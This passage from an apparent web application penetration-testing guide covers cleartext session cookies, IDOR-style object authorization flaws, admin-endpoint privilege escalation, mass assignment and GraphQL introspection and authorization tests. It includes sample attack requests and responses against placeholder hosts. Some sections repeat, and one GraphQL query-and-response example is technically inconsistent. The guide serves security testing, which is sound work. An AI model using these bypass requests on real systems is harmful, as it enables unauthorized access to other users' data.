4. **Inspect HTTP Requests:** We inspect any requests that were sent over HTTP to see if they contain sensitive information in the headers (especially the `Cookie` header) or in the request body.

Unsuccessful Response (Vulnerable Application):

After logging in over HTTPS, we navigate to an old, insecure part of the site that loads over HTTP. The browser sends our active session cookie along with this request. The request is captured in our proxy, showing the session token being sent in plaintext.

```
GET /legacy/page.html HTTP/1.1
Host: vulnerable-site.com
Cookie: sessionId=s3cr3t_s3ssi0n_t0k3n_in_pl@int3xt
```

Successful Response (Secure Application):

The application has a strong HSTS policy that forces the browser to communicate with it *only* over HTTPS. The filter in our proxy history for `http://` requests remains empty, confirming that no data was ever sent over an unencrypted channel.

Phase 12: API Testing

Main Heading: WSTG-APIT - API Testing

Objective: Modern web applications heavily rely on APIs (Application Programming Interfaces) to handle data. These endpoints are often less protected than the user-facing web interface and are a prime target for attackers.

Activity 12.1: Test for Broken Object Level Authorization (BOLA)

Sub-heading: API1:2023 - Broken Object Level Authorization (The API equivalent of IDOR)

Objective: To verify that the API correctly checks if the authenticated user has permission to access the specific object (e.g., a user profile, a document, a message) they are requesting. This is the **number one** vulnerability in the OWASP API Security Top 10.

Pre-conditions:

- Two different user accounts (UserA and UserB).
- The API endpoint that fetches user-specific data (e.g., /api/v1/users/{userId}/data). You can find these by observing network traffic in Burp Suite while using the application.

Impact:

- **Critical Risk:** 🌟 Just like IDOR, this allows an attacker to access, modify, or delete any data in the system simply by iterating through IDs in the API endpoint.

Method: Manipulating IDs in API Requests

1. Log in to the web application as UserA.
2. Perform an action that makes an API call to retrieve UserA's data. Capture this request in Burp Suite. It will look something like this, with an authorization token.

HTTP

```
GET /api/v1/users/101/profile HTTP/1.1
Host: example.com
Authorization: Bearer <UserA_JSON_WEB_TOKEN>
```

3. Send this request to **Burp Repeater**.
4. In Repeater, change the user ID from 101 (UserA's ID) to 102 (UserB's ID).
5. Send the modified request. **The key is that you are still using UserA's authorization token.**

Unsuccessful Response (Vulnerable API):

The API responds with a 200 OK status and returns the private data belonging to UserB.

- **Attacker's Request:**

HTTP

```
GET /api/v1/users/102/profile HTTP/1.1
Host: example.com
Authorization: Bearer <UserA_JSON_WEB_TOKEN>
```

- **Vulnerable Response Body:**

JSON

```
{
  "userId": 102,
  "username": "UserB",
  "email": "userb_private@example.com",
  "address": "123 Victim Street"
}
```

Successful Response (Secure API):

The API correctly validates that the token (UserA) does not have permission to access the resource (UserB) and denies the request.

- **Secure Response:**

HTTP

```
HTTP/1.1 403 Forbidden
```

```
{"error": "You are not authorized to access this resource."}
```

Activity 12.2: Test for Broken Function Level Authorization

Main Heading: API5:2023 - Broken Function Level Authorization

Objective: To verify that the API correctly prevents users from accessing functions and resources intended for a different, more privileged role. This is the API equivalent of "Forced Browsing."

Core Concept Explained:

While BOLA is about accessing another user's *data* (e.g., `GET /api/users/123`), Broken Function Level Authorization is about a regular user successfully calling an *endpoint* reserved for administrators (e.g., `POST /api/admin/create-user`). The application fails to check the user's role before executing the function.

Impact:

- **Critical Risk:**  This is a form of privilege escalation. A successful attack allows a standard user to perform administrative actions, such as creating new users, deleting any user's data, or changing

application-wide settings.

Methodology:

1. Map the API as Different Roles:

- Log in as a standard user and use the application, capturing all API calls in Burp Suite to map out the user-level endpoints.
- Log in as an administrator and do the same to map out the administrative endpoints.

2. Identify Admin-Only Endpoints: Compare the two maps. Find endpoints that should only be accessible to an admin, for example:

- `DELETE /api/v1/users/{userId}`
- `POST /api/v1/products/new`
- `PUT /api/v1/settings/application`

3. Attempt Illicit Access:

- Log back in as the **standard user** to obtain their session token (e.g., a JWT).
- In Burp Repeater, replay one of the identified administrative requests, but replace the admin's authorization token with the **standard user's token**.

Unsuccessful Response (Vulnerable API):

The server processes the request and returns a `200 OK` or `201 Created` response. The user is successfully deleted, or the new product is created. This proves the endpoint did not validate the user's role.

Successful Response (Secure API):

The API correctly checks the user's role from their token, determines they are not an administrator, and rejects the request with a `403 Forbidden` or `401 Unauthorized` status code.

Activity 12.3: Test for Mass Assignment

Main Heading: `API3:2023 - Broken Object Property Level Authorization`

Objective: To identify API endpoints where an attacker can modify object properties they should not have access to. This occurs when a server-side framework automatically binds incoming JSON parameters to internal object properties without a proper whitelist.

Methodology:

1. Find an endpoint that modifies an object, like a user registration or profile update endpoint: `PUT /api/v1/users/me`.
2. Capture a legitimate request. The JSON body might look like:
`{"username":"test","email":"test@example.com"}`.

3. In Burp Repeater, **add a parameter that should not be user-modifiable**, such as `isAdmin` or `role`.

```
{
  "username": "test",
  "email": "test@example.com",
  "isAdmin": true
}
```

4. Send the request. Now, check your user's permissions or profile data. If you have been granted administrative privileges, the endpoint is vulnerable to Mass Assignment.

Activity 12.4: Test for GraphQL Vulnerabilities

Main Heading: `WSTG-APIT-01 - Testing GraphQL`

Objective: To identify vulnerabilities unique to GraphQL API implementations, which differ significantly from traditional REST APIs.

Methodology:

1. **Test for Introspection:** GraphQL has a built-in feature called introspection that allows clients to query the API's entire schema (all available data types, queries, and mutations). This should be disabled in production. Send an introspection query to the GraphQL endpoint.
 - If you get a full schema back, it's a major information leak that maps out the entire API for you.
2. **Test for Batching Attacks (Denial of Service):** GraphQL allows multiple queries to be sent in a single HTTP request. An attacker can abuse this to create a single, deeply nested query that is computationally expensive for the server to resolve, potentially leading to a Denial of Service.
3. **Test for Authorization Flaws:** In GraphQL, authorization is handled at the level of individual fields by functions called "resolvers." You must test this granularly. For example, a query for users might correctly return only your own user data, but if you specifically ask for the `email` field of *another* user within the same query, a faulty resolver might incorrectly return it.

Activity 12.4.1: Test GraphQL API

Main Heading: `WSTG-APIT-01 - Testing GraphQL`

Objective: Our objective is to identify and exploit vulnerabilities unique to GraphQL API implementations. This includes testing for information leakage via introspection, resource exhaustion via complex queries, and granular authorization flaws at the field level.

Core Concept Explained:

GraphQL is a query language for APIs that gives clients the power to ask for exactly the data they need

and nothing more. Unlike traditional REST APIs with many endpoints, GraphQL typically uses a **single endpoint** (e.g., `/graphql`). Vulnerabilities often arise from its core features:

- **Introspection:** A built-in feature that allows clients to query the API's entire schema (all available data types and operations). If left enabled in production, it's like handing an attacker a complete blueprint of the API.
- **Complex Queries:** Clients can define deeply nested or repetitive queries. Without proper validation, a single malicious query can exhaust server resources, leading to a Denial of Service (DoS).
- **Field-Level Authorization:** Authorization is often handled by functions called "resolvers" for individual data fields. A flaw in a single resolver can leak sensitive data, even if the rest of the API is secure.

Impact:

- **Information Leakage (Introspection): High Risk.** Exposing the entire schema provides us with a full map of the API's capabilities, making it trivial to find sensitive data types and functions to target.
- **Denial of Service (Complex Queries): Medium Risk.** A successful DoS attack can make the application slow or unavailable for legitimate users, causing business disruption.
- **Authorization Bypass: Critical Risk.** 🌟 A flaw in a field-level authorization check can lead to the same outcome as an IDOR, allowing us to read, modify, or delete data we are not authorized to access.

Tooling:

- Burp Suite (with extensions like **InQL Scanner**)
- **GraphQLmap** (a command-line tool for GraphQL exploitation)

Methodology:

1. **Test for Introspection:** The first step is always to send a standard introspection query to the GraphQL endpoint. This asks the server to describe its entire schema.
2. **Test for Denial of Service:** We craft a query that is computationally expensive. The simplest way is to use aliases to request the same resource field hundreds of times in a single request.
3. **Test for Authorization Flaws:** We perform this test at the field level. We will log in as `UserA` and construct a query that legitimately requests our own data but also tries to access a sensitive field (like `email` or `orders`) from another user (`UserB`) within the same query.

Unsuccessful Response (Vulnerable Application):

- **Introspection:** The server responds to our introspection query with a `200 OK` and a massive JSON object containing the full schema, including all types, queries, and mutations.
- **Denial of Service:** Our deeply nested or repetitive query causes the server's response time to increase dramatically, eventually leading to a `5xx` error or a timeout.

- **Authorization:** The API returns the sensitive data for `UserB`, even though our authentication token belongs to `UserA`. The resolver for the `email` field failed to check our permissions.

```
// Attacker's Query
query {
  user(id: "101") { // Our own ID
    username
  }
  user(id: "102") { // The victim's ID
    email          // Requesting a sensitive field
  }
}
```

```
// Vulnerable JSON Response
{
  "data": {
    "user": {
      "username": "UserA"
    },
    "user_1": {
      "email": "victim_private_email@example.com"
    }
  }
}
```

Successful Response (Secure Application):

- **Introspection:** The application has introspection disabled in production. Our query is rejected with an error.

```
{
  "errors": [
    {
      "message": "GraphQL introspection is not allowed in production, but the query contained __schema or __type."
    }
  ]
}
```

- **Denial of Service:** The application has query depth limiting or cost analysis in place. It rejects our complex query with a `400 Bad Request` error before it can exhaust resources.
- **Authorization:** The application's resolvers are secure. The query is partially successful but correctly returns `null` for the sensitive field we are not authorized to view.

```
// Secure JSON Response
{
  "data": {
    "user": {
      "username": "UserA"
    },
    "user_1": {
      "email": null
    }
  },
  "errors": [
    {
      "message": "You are not authorized to access the 'email' field for this user."
    }
  ]
}
```

Activity 12.5: Test for Broken Function Level Authorization

Main Heading: API5:2023 - Broken Function Level Authorization

Objective: Our objective is to verify that the API correctly prevents users from accessing functions and resources intended for a different, more privileged role. This is the API equivalent of "Forced Browsing."

Core Concept Explained:

This vulnerability occurs when the application fails to perform a role-based access control check on a specific API endpoint. A standard user can successfully call an endpoint that should be reserved for administrators (e.g., `POST /api/admin/create-user`). The application correctly authenticates the user but fails to authorize their action.

Impact:

- **Critical Risk:** 🚫 This is a form of privilege escalation. A successful attack allows a standard user to perform administrative actions, such as creating new users, deleting any user's data, or changing application-wide settings.

Tooling:

- Burp Suite

Methodology:

1. **Map the API as Different Roles:** We log in as a standard user and capture all API calls to map out the user-level endpoints. We then log in as an administrator and do the same to map out the

administrative endpoints.

2. **Identify Admin-Only Endpoints:** We compare the two maps to find endpoints that should only be accessible to an admin, for example: `DELETE /api/v1/users/{userId}`.
3. **Attempt Illicit Access:** We log back in as the **standard user** to obtain their session token. In Burp Repeater, we replay the administrative request but replace the admin's authorization token with the **standard user's token**.

Unsuccessful Response (Vulnerable Application):

The server processes the request and returns a `200 OK` or `204 No Content` response, successfully deleting the user. This proves the endpoint did not validate our user's role and is vulnerable.

```
DELETE /api/v1/users/123 HTTP/1.1
Host: example.com
Authorization: Bearer <STANDARD_USER_TOKEN>

HTTP/1.1 204 No Content
```

Successful Response (Secure Application):

The API correctly checks our user's role from their token, determines we are not an administrator, and rejects the request with a `403 Forbidden` status code.

```
HTTP/1.1 403 Forbidden
Content-Type: application/json

{"error": "Administrative privileges required."}
```
